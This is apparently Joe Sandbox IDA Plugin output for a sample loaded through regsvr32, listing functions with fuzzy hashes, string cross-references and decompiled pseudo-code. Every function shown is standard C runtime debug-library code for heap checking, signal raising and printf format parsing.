Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_base_malloc_base
String ID:
API String ID: 3824334587-0
Opcode ID: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction ID: 495d8382669efda2ae004298a380b2f700874c64e4d866c5cb6fbd4b09cb9029
Opcode Fuzzy Hash: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction Fuzzy Hash: AC312D3191D68285E7E49B60EC0437EA3E1F7853A4F214535A6DE466F5CFBEE4809B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D263E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D26476

Strings

_CrtMemCheckpoint, xrefs: 000007FEF9D26468
Bad memory block found at 0x%p.Memory allocated at %hs(%d)., xrefs: 000007FEF9D265D4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26427, 000007FEF9D26461
state != NULL, xrefs: 000007FEF9D26412, 000007FEF9D2646F
Bad memory block found at 0x%p., xrefs: 000007FEF9D26603

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: Bad memory block found at 0x%p.$Bad memory block found at 0x%p.Memory allocated at %hs(%d).$_CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$state != NULL
API String ID: 2123368286-817335350
Opcode ID: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction ID: bdf1888ae082cb337f1151e8154f2efa45ef3de29dcf6e6b26155e3a2b634fb1
Opcode Fuzzy Hash: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction Fuzzy Hash: 6461FB36A18B4586EB64CB19E89132E77A0F785794F714126EBCD83BB4CB3ED451CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CFF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D2CFF0(intOrPtr _a8) {
				intOrPtr _v24;
				long long _v48;
				long long _v64;
				intOrPtr _t21;

				_a8 = _t21;
				_v48 = 0;
				_v64 = 0;
				_v24 = _a8;
				_v24 = _v24 - 2;
				if (_v24 - 0x14 > 0) goto 0xf9d2d13e;
				goto __rax;
			}

0x7fef9d2cff0
0x7fef9d2cff8
0x7fef9d2d000
0x7fef9d2d010
0x7fef9d2d01b
0x7fef9d2d024
0x7fef9d2d048

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D1C9

Strings

raise, xrefs: 000007FEF9D2D1BB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c, xrefs: 000007FEF9D2D17A, 000007FEF9D2D1B4
("Invalid signal or error", 0), xrefs: 000007FEF9D2D165, 000007FEF9D2D1C2

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid signal or error", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c$raise
API String ID: 2123368286-2245755083
Opcode ID: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction ID: 19b7c93d4736ed7bda32945b1fb5f0ab86c56f1dc684690d029957412a3b2f1f
Opcode Fuzzy Hash: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction Fuzzy Hash: 8C71E83291C786CAE7A09F58E84476EB7E0F785754F214135E6CA47BA4CB3EE448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25AD9 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D25B35

Strings

L7, xrefs: 000007FEF9D25C0F
LX, xrefs: 000007FEF9D25B5F
_CrtCheckMemory(), xrefs: 000007FEF9D25ADD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25AF2, 000007FEF9D25B53, 000007FEF9D25BC9
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25BB4
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D25B3E

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$L7$LX
API String ID: 299318057-1988567080
Opcode ID: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction ID: 366f9875c4733d956d5456637ee1c03ed06e45eb4220731ed3e90847f50651e0
Opcode Fuzzy Hash: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction Fuzzy Hash: FB314D36A1874A86EBE48B59E84172E67D1F785784F614036EACD83BB4DB3FD440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C7E9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_realloc_dbg.LIBCMTD ref: 000007FEF9D2C86D
_realloc_dbg.LIBCMTD ref: 000007FEF9D2C8B8
EncodePointer.KERNEL32 ref: 000007FEF9D2C8FF
EncodePointer.KERNEL32 ref: 000007FEF9D2C911
EncodePointer.KERNEL32 ref: 000007FEF9D2C932

Strings

}, xrefs: 000007FEF9D2C84E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c, xrefs: 000007FEF9D2C856, 000007FEF9D2C8A1

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_realloc_dbg
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c$}
API String ID: 429494535-1858280179
Opcode ID: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction ID: 6b22acafcb165364cee05dc597c268ac6a46098997f00e2a063c2d8cfde95e66
Opcode Fuzzy Hash: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction Fuzzy Hash: D441B836619B8586DA90CB59F88432EB7E4F7C9794F201025EACE43B68DF7ED4958B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E16F Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 259COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E1BC

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-734865713
Opcode ID: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction ID: ca3ec57313c22d844cddba0ccc7478434e3ff2f5ac626f229199dffed11d05c2
Opcode Fuzzy Hash: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction Fuzzy Hash: 83D1CA72A0CAC686E7B18B55E8407AFB7E0F384355F600126E6DD87AA9DB7DE440CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DF8D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3DF8D(signed short _a1208, signed int _a1412) {

				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

Strings

7, xrefs: 000007FEF9D3DFAD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: ("Incorrect format specifier", 0)$7$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 0-1585035072
Opcode ID: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction ID: 7092a431cc2f14586a5b6039053772aca43f1c1a92c9fb0ada713ca2b75f96be
Opcode Fuzzy Hash: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction Fuzzy Hash: 93B10D7260CAC286E7B1DB55E8417AFB7E0F784356F104026EAC987AA9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38350 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38420
_invalid_parameter.LIBCMTD ref: 000007FEF9D384CA

Strings

(format != NULL), xrefs: 000007FEF9D383BC, 000007FEF9D38419
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D383D1, 000007FEF9D3840B, 000007FEF9D3847B, 000007FEF9D384B5
_vswprintf_helper, xrefs: 000007FEF9D38412, 000007FEF9D384BC
(count == 0) || (string != NULL), xrefs: 000007FEF9D38466, 000007FEF9D384C3

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$(format != NULL)$_vswprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c
API String ID: 2123368286-1876092940
Opcode ID: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction ID: 5b23c079d1b4d794af0cdd69ad2b30100ea5e3abf5a9ef6833dde17c78c07454
Opcode Fuzzy Hash: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction Fuzzy Hash: 40911E32618B85CAE7A48B15E84476E77E0F384795F208525E6DE87BB4DB3ED444CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BE32 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3BE32(signed int _a80, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096) {

				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
w, xrefs: 000007FEF9D3BE63
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-3826063230
Opcode ID: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction ID: d6c85ddd6a9fac6d59453cfc6279b165f514207326055716b4e5bf0dd1bf0ecb
Opcode Fuzzy Hash: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction Fuzzy Hash: 0A916F72A0D6C68AE3F08B54E88477EB7E4E385342F601026D7CD87AA9CB7ED5418F11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DDE0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3DDE0(signed int _a80, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544) {

				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

w, xrefs: 000007FEF9D3DE11
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-4206863317
Opcode ID: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction ID: 52af39986bd237b596cdecada1f5af7c0900048515ebe490badd59f4da94dd67
Opcode Fuzzy Hash: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction Fuzzy Hash: 35910A62A0C6C18AE7F08B55E88077EB3E1F385756F600026E6CD87AA4DB7ED855DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCFA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3BCFA(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t191 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t192 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t171 + _t192 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
